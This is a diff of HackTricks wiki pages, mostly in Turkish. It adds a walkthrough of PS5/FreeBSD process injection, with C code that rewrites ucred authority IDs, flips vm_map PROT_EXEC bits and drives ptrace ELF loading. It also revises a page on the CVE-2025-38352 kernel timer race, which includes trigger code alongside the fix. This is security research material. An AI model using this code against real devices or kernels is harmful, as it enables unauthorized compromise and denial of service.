- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||||
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
||||||
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||||
|
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
|
||||||
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||||
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||||
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||||
@ -843,6 +848,7 @@
|
|||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||||
|
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||||
|
|||||||
@ -0,0 +1,183 @@
|
|||||||
|
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 vaka çalışması)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Genel Bakış
|
||||||
|
|
||||||
|
Bu sayfa, PlayStation 5 (PS5) üzerinde kullanıcı modlu süreç/ELF enjeksiyonuna yönelik pratik bir Unix/BSD tekniğini belgeler; PS5 FreeBSD tabanlıdır. Yöntem, zaten kernel read/write (R/W) primitives’e sahip olduğunuz FreeBSD türevlerine genelleştirilebilir. Yüksek seviye:
|
||||||
|
|
||||||
|
- Mevcut süreç kimlik bilgilerini (ucred) düzenleyerek debugger yetkisi verin; böylece ptrace/mdbg ile rastgele kullanıcı süreçlerine erişim sağlayın.
|
||||||
|
- Kernel allproc listesini dolaşarak hedef süreçleri bulun.
|
||||||
|
- Hedefin vm_map'indeki vm_map_entry.protection |= PROT_EXEC bitini çevirerek PROT_EXEC kısıtlamalarını kernel veri yazmalarıyla bypass edin.
|
||||||
|
- ptrace kullanarak Remote Function Invocation (RFI) gerçekleştirin: bir thread’i durdurun, registerları hedef içindeki rastgele fonksiyonları çağıracak şekilde ayarlayın, devam ettirin, dönüş değerlerini toplayın ve durumu geri yükleyin.
|
||||||
|
- Hedef içinde bir in-process ELF loader kullanarak rastgele ELF payload’ları map’leyin ve çalıştırın; ardından payload’ınızı çalıştıran ayrılmış bir thread başlatın ve temiz ayrılmayı sağlamak için breakpoint tetikleyin.
|
||||||
|
|
||||||
|
Bu teknik bağlamında dikkat edilmesi gereken PS5 hypervisor önlemleri:
|
||||||
|
- XOM (execute-only .text) kernel .text’in okunmasını/yazılmasını engeller.
|
||||||
|
- CR0.WP’yi temizlemek veya CR4.SMEP’i devre dışı bırakmak bir hypervisor vmexit’e (crash) neden olur. Yalnızca veri-odaklı kernel yazmaları uygundur.
|
||||||
|
- Userland mmap varsayılan olarak PROT_READ|PROT_WRITE ile sınırlıdır. PROT_EXEC verilmesi kernel belleğindeki vm_map girdilerini düzenleyerek yapılmalıdır.
|
||||||
|
|
||||||
|
Bu teknik post-exploitation aşamasındadır: bir exploit zincirinden kernel R/W primitives varsayar. Kamuya açık payload’lar, yazım sırasında firmware 10.01’e kadar bunu göstermektedir.
|
||||||
|
|
||||||
|
## Kernel veri-yalnız primitifleri
|
||||||
|
|
||||||
|
### allproc üzerinden süreç keşfi
|
||||||
|
|
||||||
|
FreeBSD, kernel .data içinde allproc’ta çift bağlı bir süreç listesi tutar. Bir kernel read primitive ile, süreç isimlerini ve PID’leri bulmak için bunu yineleyin:
|
||||||
|
```c
|
||||||
|
struct proc* find_proc_by_name(const char* proc_name){
|
||||||
|
uint64_t next = 0;
|
||||||
|
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
|
||||||
|
struct proc* proc = malloc(sizeof(struct proc));
|
||||||
|
do{
|
||||||
|
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
|
||||||
|
if (!strcmp(proc->p_comm, proc_name)) return proc;
|
||||||
|
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
|
||||||
|
} while (next);
|
||||||
|
free(proc);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void list_all_proc_and_pid(){
|
||||||
|
uint64_t next = 0;
|
||||||
|
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
|
||||||
|
struct proc* proc = malloc(sizeof(struct proc));
|
||||||
|
do{
|
||||||
|
kernel_copyout(next, (void*)proc, sizeof(struct proc));
|
||||||
|
printf("%s - %d\n", proc->p_comm, proc->pid);
|
||||||
|
kernel_copyout(next, &next, sizeof(uint64_t));
|
||||||
|
} while (next);
|
||||||
|
free(proc);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Notlar:
|
||||||
|
- KERNEL_ADDRESS_ALLPROC firmware'e bağlıdır.
|
||||||
|
- p_comm sabit boyutlu bir isimdir; gerekirse pid->proc aramalarını düşünün.
|
||||||
|
|
||||||
|
### Hata ayıklama için yetkileri yükseltme (ucred)
|
||||||
|
|
||||||
|
PS5'te, struct ucred, proc->p_ucred aracılığıyla erişilebilen bir Authority ID alanı içerir. debugger authority ID'yi yazarak diğer süreçler üzerinde ptrace/mdbg sağlar:
|
||||||
|
```c
|
||||||
|
void set_ucred_to_debugger(){
|
||||||
|
struct proc* proc = get_proc_by_pid(getpid());
|
||||||
|
if (proc){
|
||||||
|
uintptr_t authid = 0; // read current (optional)
|
||||||
|
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
|
||||||
|
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
|
||||||
|
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
|
||||||
|
free(proc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Offset 0x58 PS5 firmware ailesine özgüdür ve sürüme göre doğrulanmalıdır.
|
||||||
|
- Bu yazma işleminden sonra, injector ptrace/mdbg aracılığıyla kullanıcı süreçlerine attach olup instrument edebilir.
|
||||||
|
|
||||||
|
## RW-only kullanıcı eşlemelerini atlatma: vm_map PROT_EXEC flip
|
||||||
|
|
||||||
|
Kullanıcı alanındaki mmap PROT_READ|PROT_WRITE ile kısıtlanmış olabilir. FreeBSD, bir sürecin adres alanını vm_map_entry düğümlerinden oluşan bir vm_map içinde (BST artı liste) takip eder. Her giriş protection ve max_protection alanlarını taşır:
|
||||||
|
```c
|
||||||
|
struct vm_map_entry {
|
||||||
|
struct vm_map_entry *prev,*next,*left,*right;
|
||||||
|
vm_offset_t start, end, avail_ssize;
|
||||||
|
vm_size_t adj_free, max_free;
|
||||||
|
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
|
||||||
|
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
|
||||||
|
int wired_count; vm_pindex_t lastr;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
|
||||||
|
- Girişleri ya next ile doğrusal olarak dolaştırın ya da adres aralığına göre O(log n) arama için balanced-tree (left/right) kullanın.
|
||||||
|
- Kontrolünüzdeki bilinen bir RW bölgesini (scratch buffer veya mapped file) seçin ve kod veya loader thunks yerleştirebilmek için PROT_EXEC ekleyin.
|
||||||
|
- PS5 SDK kodu hızlı map-entry araması ve korumaları değiştirmek için yardımcılar sağlar.
|
||||||
|
|
||||||
|
Bu, kernel'in sahip olduğu metadata'yı doğrudan düzenleyerek userland’ın mmap politikasını atlatır.
|
||||||
|
|
||||||
|
## Remote Function Invocation (RFI) with ptrace
|
||||||
|
|
||||||
|
FreeBSD, Windows tarzı VirtualAllocEx/CreateRemoteThread'e sahip değil. Bunun yerine, ptrace kontrolü altında hedefi kendi üzerinde fonksiyonlar çağırmaya yönlendirin:
|
||||||
|
|
||||||
|
1. Hedefe attach olun ve bir thread seçin; PTRACE_ATTACH veya PS5-specific mdbg akışları uygulanabilir.
|
||||||
|
2. Thread bağlamını kaydedin: registers, PC, SP, flags.
|
||||||
|
3. ABI'ye göre argument registerlarını yazın (x86_64 SysV veya arm64 AAPCS64), PC'yi hedef fonksiyona ayarlayın ve gerekirse ek argümanları/stack'i yerleştirin.
|
||||||
|
4. Single-step veya devam ettirerek kontrollü bir durana kadar (ör. software breakpoint veya signal) ilerleyin, sonra return değerlerini regs'den okuyun.
|
||||||
|
5. Orijinal bağlamı geri yükleyin ve devam edin.
|
||||||
|
|
||||||
|
Kullanım durumları:
|
||||||
|
- Hedef bellekte ELF imajınıza işaret eden bir pointer ile süreç içi ELF loader'ına (ör. elfldr_load) çağrı yapın.
|
||||||
|
- Döndürülen entrypoint'leri ve payload-args pointer'larını almak için yardımcı rutinleri çağırın.
|
||||||
|
|
||||||
|
Example of driving the ELF loader:
|
||||||
|
```c
|
||||||
|
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
|
||||||
|
intptr_t args = elfldr_payload_args(target_pid);
|
||||||
|
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
|
||||||
|
```
|
||||||
|
Loader, segments'leri eşler, imports'ları çözer, relocations'ı uygular ve entry'yi (çoğunlukla bir CRT bootstrap) ile birlikte opak bir payload_args pointer'ı döndürür; stager'ınız bu pointer'ı payload'ın main()'ine geçirir.
|
||||||
|
|
||||||
|
## İş parçacıklı stager ve temiz detach
|
||||||
|
|
||||||
|
Hedef içindeki minimal bir stager, ELF'in main'ini çalıştıran yeni bir pthread oluşturur ve ardından injector'ın detach etmesi için sinyal vermek amacıyla int3 tetikler:
|
||||||
|
```c
|
||||||
|
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
|
||||||
|
pthread_t thread;
|
||||||
|
functions->pthread_create_ptr(&thread, 0,
|
||||||
|
(void*(*)(void*))functions->elf_main, functions->payload_args);
|
||||||
|
asm("int3");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- SCEFunctions/payload_args pointers, loader/SDK glue tarafından sağlanır.
|
||||||
|
- breakpoint ve detach'ten sonra, payload kendi thread'inde devam eder.
|
||||||
|
|
||||||
|
## Uçtan uca pipeline (PS5 referans uygulaması)
|
||||||
|
|
||||||
|
Çalışan bir uygulama küçük bir TCP injector sunucusu ve bir client script olarak gelir:
|
||||||
|
|
||||||
|
- NineS sunucusu TCP 9033 üzerinde dinler ve hedef süreç adını içeren bir başlık ve ardından ELF görüntüsünü alır:
|
||||||
|
```c
|
||||||
|
typedef struct __injector_data_t{
|
||||||
|
char proc_name[MAX_PROC_NAME];
|
||||||
|
Elf64_Ehdr elf_header;
|
||||||
|
} injector_data_t;
|
||||||
|
```
|
||||||
|
- Python istemci kullanımı:
|
||||||
|
```bash
|
||||||
|
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
|
||||||
|
```
|
||||||
|
Hello-world payload örneği (logs to klog):
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <ps5/klog.h>
|
||||||
|
int main(){
|
||||||
|
klog_printf("Hello from PID %d\n", getpid());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Pratik hususlar
|
||||||
|
|
||||||
|
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) firmware'e özgüdür ve her sürümde güncellenmelidir.
|
||||||
|
- Hypervisor korumaları yalnızca veri-odaklı kernel yazımlarını zorunlu kılar; CR0.WP veya CR4.SMEP'i patchlemeye çalışmayın.
|
||||||
|
- JIT memory bir alternatif olabilir: bazı process'ler executable sayfaları ayırmak için PS5 JIT API'leri sunar. vm_map protection flip, JIT/mirroring hilelerine dayanmaya olan ihtiyacı ortadan kaldırır.
|
||||||
|
- Register save/restore işlemlerini sağlam tutun; başarısızlık durumunda hedefte deadlock veya crash oluşabilir.
|
||||||
|
|
||||||
|
## Genel araçlar
|
||||||
|
|
||||||
|
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
|
||||||
|
- ELF loader: https://github.com/ps5-payload-dev/elfldr
|
||||||
|
- Injector server: https://github.com/buzzer-re/NineS/
|
||||||
|
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
|
||||||
|
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
|
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
|
||||||
|
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
|
||||||
|
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
|
||||||
|
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
|
||||||
|
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
|
||||||
|
- [Mira](https://github.com/OpenOrbis/mira-project)
|
||||||
|
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
|
||||||
|
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
@ -1,19 +1,19 @@
|
|||||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
|
Bu sayfa, Linux/Android POSIX CPU timers içindeki bir TOCTOU yarış koşulunu belgeler; bu durum timer durumunu bozabilir ve kernel'in çökmesine sebep olabilir ve bazı durumlarda privilege escalation yönlendirilebilir.
|
||||||
|
|
||||||
- Etkilenen bileşen: kernel/time/posix-cpu-timers.c
|
- Etkilenen bileşen: kernel/time/posix-cpu-timers.c
|
||||||
- Primitive: expiry vs deletion race under task exit
|
- İlkel: expiry vs deletion yarışması görev çıkışı sırasında
|
||||||
- Konfigürasyona duyarlı: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
- Konfigürasyona duyarlı: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||||
|
|
||||||
Kısa içyapı özeti (exploitation açısından ilgili)
|
Hızlı iç yapı özeti (relevant for exploitation)
|
||||||
- Zamanlayıcıların muhasebesini cpu_clock_sample() aracılığıyla yöneten üç CPU saati:
|
- Üç CPU clock'u cpu_clock_sample() aracılığıyla timer muhasebesini sağlar:
|
||||||
- CPUCLOCK_PROF: utime + stime
|
- CPUCLOCK_PROF: utime + stime
|
||||||
- CPUCLOCK_VIRT: sadece utime
|
- CPUCLOCK_VIRT: utime only
|
||||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||||
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
|
- Timer oluşturma, bir timer'ı task/pid ile ilişkilendirir ve timerqueue düğümlerini başlatır:
|
||||||
```c
|
```c
|
||||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||||
struct pid *pid;
|
struct pid *pid;
|
||||||
@ -27,7 +27,7 @@ rcu_read_unlock();
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Arming, bir per-base timerqueue'ya ekleme yapar ve next-expiry cache'i güncelleyebilir:
|
- Arming, per-base timerqueue'ya ekleme yapar ve next-expiry cache'i güncelleyebilir:
|
||||||
```c
|
```c
|
||||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||||
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
|||||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Hızlı yol, önbelleğe alınmış süresi dolma kayıtları olası tetiklemeyi göstermedikçe pahalı işlemden kaçınır:
|
- Hızlı yol, önbelleğe alınmış sona erme bilgileri olası bir tetiklemeyi gösterene kadar pahalı işlemlerden kaçınır:
|
||||||
```c
|
```c
|
||||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||||
@ -50,7 +50,7 @@ return true;
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Expiration, süresi dolan timer'ları toplar, onları 'firing' (tetikleniyor) olarak işaretler, kuyruğun dışına taşır; gerçek teslimat ertelenir:
|
- Expiration, süresi dolmuş timer'ları toplar, bunları firing olarak işaretler, kuyruktan çıkarır; gerçek teslimat ertelenir:
|
||||||
```c
|
```c
|
||||||
#define MAX_COLLECTED 20
|
#define MAX_COLLECTED 20
|
||||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||||
@ -69,7 +69,7 @@ return U64_MAX;
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
İki sona erme işleme modu
|
İki sona erme işleme modu
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: sona erme hedef görevde task_work aracılığıyla ertelenir
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: sona erme, hedef görevde task_work aracılığıyla ertelenir
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: sona erme doğrudan IRQ bağlamında işlenir
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: sona erme doğrudan IRQ bağlamında işlenir
|
||||||
```c
|
```c
|
||||||
void run_posix_cpu_timers(void) {
|
void run_posix_cpu_timers(void) {
|
||||||
@ -114,45 +114,44 @@ spin_unlock(&timer->it_lock);
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Kök neden: IRQ-time sona ermesi ile görev çıkışı sırasında eşzamanlı silme arasında TOCTOU
|
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||||
|
Preconditions
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||||
|
- The target task is exiting but not fully reaped
|
||||||
|
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
|
||||||
|
|
||||||
Önkoşullar
|
Sequence
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK devre dışı (IRQ path kullanılıyor)
|
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||||
- Hedef görev çıkışta ancak tamamen reaped değil
|
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||||
- Başka bir thread aynı timer için eşzamanlı olarak posix_cpu_timer_del() çağırıyor
|
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||||
|
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
|
||||||
|
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
|
||||||
|
|
||||||
Sıra
|
Why TASK_WORK mode is safe by design
|
||||||
1) update_process_times() çıkışta olan görev için IRQ bağlamında run_posix_cpu_timers() tetikler.
|
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||||
2) collect_timerqueue() ctmr->firing = 1 olarak ayarlar ve timer'ı geçici firing listesine taşır.
|
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||||
3) handle_posix_cpu_timers() timer'ları kilit dışından teslim etmek için unlock_task_sighand() ile sighand'i bırakır.
|
|
||||||
4) Kilidin hemen ardından, çıkışta olan görev reaped edilebilir; kardeş bir thread posix_cpu_timer_del() çalıştırır.
|
|
||||||
5) Bu pencerede, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() aracılığıyla state edinmeyi başaramayabilir ve bu nedenle timer->it.cpu.firing'i kontrol eden normal in-flight guard'ı atlayabilir. Silme, firing değilmiş gibi devam eder; expiry işlenirken state bozulur ve crash/UB ile sonuçlanır.
|
|
||||||
|
|
||||||
Neden TASK_WORK modu tasarım gereği güvenlidir
|
Fix (Android common kernel) and rationale
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y ile expiry task_work'a ertelenir; exit_task_work exit_notify'dan önce çalışır, bu nedenle IRQ-time ile reaping arasındaki çakışma oluşmaz.
|
- Add an early return if current task is exiting, gating all processing:
|
||||||
- Yine de, görev zaten çıkışta ise task_work_add() başarısız olur; exit_state üzerinde gate koymak her iki modu tutarlı kılar.
|
|
||||||
|
|
||||||
Fix (Android common kernel) ve gerekçe
|
|
||||||
- current görev çıkışta ise tüm işlemleri engelleyen erken bir return ekleyin:
|
|
||||||
```c
|
```c
|
||||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||||
if (tsk->exit_state)
|
if (tsk->exit_state)
|
||||||
return;
|
return;
|
||||||
```
|
```
|
||||||
- Bu, çıkmakta olan görevler için handle_posix_cpu_timers()'e girilmeyi engeller ve posix_cpu_timer_del()'ın cpu.firing'i kaçırıp expiry processing ile yarışabileceği pencereyi ortadan kaldırır.
|
- Bu, exit eden görevler için handle_posix_cpu_timers()'e girilmesini engeller; posix_cpu_timer_del()'in it.cpu.firing'i kaçırabileceği ve expiry işlemesi ile yarışabileceği pencereyi ortadan kaldırır.
|
||||||
|
|
||||||
Impact
|
Impact
|
||||||
- Eşzamanlı süresi dolma/silme sırasında timer yapılarında oluşan kernel bellek bozulması, anında çöküşlere (DoS) yol açabilir ve keyfi kernel-durum manipülasyonu fırsatları nedeniyle ayrıcalık yükseltme yönünde güçlü bir primitive teşkil eder.
|
- Zamanlayıcı yapılarına yönelik eşzamanlı expiry/silme sırasında kernel belleğinin bozulması, anında çöküşlere (DoS) yol açabilir ve keyfi kernel durumunun manipülasyonu imkanları nedeniyle ayrıcalık yükseltmeye yönelik güçlü bir primitive sağlar.
|
||||||
|
|
||||||
Triggering the bug (safe, reproducible conditions)
|
Triggering the bug (safe, reproducible conditions)
|
||||||
Build/config
|
Build/config
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n olduğundan emin olun ve exit_state gating fix'i olmayan bir kernel kullanın.
|
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||||
|
|
||||||
Runtime strategy
|
Runtime strategy
|
||||||
- Çıkmak üzere olan bir iş parçacığını hedefleyin ve ona bir CPU timer iliştirin (per-thread veya process-wide clock):
|
- Çıkmak üzere olan bir thread'i hedefleyin ve ona bir CPU timer atayın (per-thread veya process-wide clock):
|
||||||
- İş parçacığı başına: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||||
- Süreç geneli için: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||||
- IRQ-path girişlerini maksimize etmek için ilk expiration'ı çok kısa ve aralığı küçük olacak şekilde kurun:
|
- Çok kısa bir initial expiration ve küçük bir interval ile arm edin ki IRQ-path girişlerini maksimize edin:
|
||||||
```c
|
```c
|
||||||
static timer_t t;
|
static timer_t t;
|
||||||
static void setup_cpu_timer(void) {
|
static void setup_cpu_timer(void) {
|
||||||
@ -166,31 +165,31 @@ its.it_interval.tv_nsec = 1; // re-fire
|
|||||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Bir kardeş iş parçacığından, hedef iş parçacığı çıkış yaparken aynı timer'ı eşzamanlı olarak sil:
|
- Bir kardeş iş parçacığından, hedef iş parçacığı çıkarken aynı timer'ı eşzamanlı olarak silin:
|
||||||
```c
|
```c
|
||||||
void *deleter(void *arg) {
|
void *deleter(void *arg) {
|
||||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Yarış koşulunu artıran etkenler: yüksek zamanlayıcı tick hızı, CPU yükü, tekrar eden iş parçacığı çıkış/yeniden oluşturma döngüleri. Çökme genellikle posix_cpu_timer_del()'in unlock_task_sighand()'den hemen sonra görev arama/lock işleminin başarısız olması nedeniyle firing'i fark etmeyi atladığı durumda görülür.
|
- Race amplifiers: yüksek scheduler tick hızı, CPU yükü, tekrarlayan thread çıkış/yine-oluşturma döngüleri. Çökme tipik olarak posix_cpu_timer_del()'in unlock_task_sighand()'den hemen sonra task lookup/locking başarısız olduğunda firing'i fark etmeyi atlamasıyla ortaya çıkar.
|
||||||
|
|
||||||
Tespit ve sertleştirme
|
Detection and hardening
|
||||||
- Azaltma: exit_state guard'ını uygula; mümkünse CONFIG_POSIX_CPU_TIMERS_TASK_WORK'ı etkinleştirmeyi tercih et.
|
- Mitigation: exit_state guard'ını uygulayın; mümkünse CONFIG_POSIX_CPU_TIMERS_TASK_WORK'u etkinleştirmeyi tercih edin.
|
||||||
- Gözlemlenebilirlik: unlock_task_sighand()/posix_cpu_timer_del() etrafına tracepoints/WARN_ONCE ekle; it.cpu.firing==1'in cpu_timer_task_rcu()/lock_task_sighand() başarısızlığıyla birlikte gözlendiğinde uyarı oluştur; task çıkışı etrafında timerqueue tutarsızlıklarını izle.
|
- Observability: unlock_task_sighand()/posix_cpu_timer_del() etrafına tracepoints/WARN_ONCE ekleyin; it.cpu.firing==1 ile cpu_timer_task_rcu()/lock_task_sighand() başarısızlığı birlikte gözlendiğinde alarm verin; task çıkışı çevresinde timerqueue tutarsızlıklarını izleyin.
|
||||||
|
|
||||||
Denetim sıcak noktaları (inceleyiciler için)
|
Audit hotspots (for reviewers)
|
||||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||||
|
|
||||||
İstismar araştırması notları
|
Notes for exploitation research
|
||||||
